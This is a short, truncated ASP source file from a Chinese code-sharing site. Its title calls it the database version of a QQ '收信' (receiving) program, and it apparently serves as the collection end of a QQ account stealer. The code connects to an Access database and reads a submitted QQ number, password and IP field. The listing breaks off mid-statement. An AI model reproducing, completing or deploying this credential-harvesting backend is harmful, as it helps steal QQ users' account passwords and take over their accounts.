qq.asp

来自「啊拉QQ的收信程序数据库版本。 小C原创」· ASP 代码 · 共 19 行

<%
'========================================================
'本程序由ㄨiaoC制作
'欢迎访问ㄨiaoC 网络资源工作室 http://www.cc99.cn
'程序默认密码:cc99cn
'========================================================
dim my_conn,dbpath 
Path=server.MapPath("cc99qq.mdb")
set my_Conn = server.CreateObject("ADODB.Connection")
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& path
my_Conn.Open connstr
%>
<%
qbip=request("qbip")
UserName=request("num")
UserPassword=Request("pass")
Times=Now()
		if len(qbip)<6 then
			qbip=qbip&"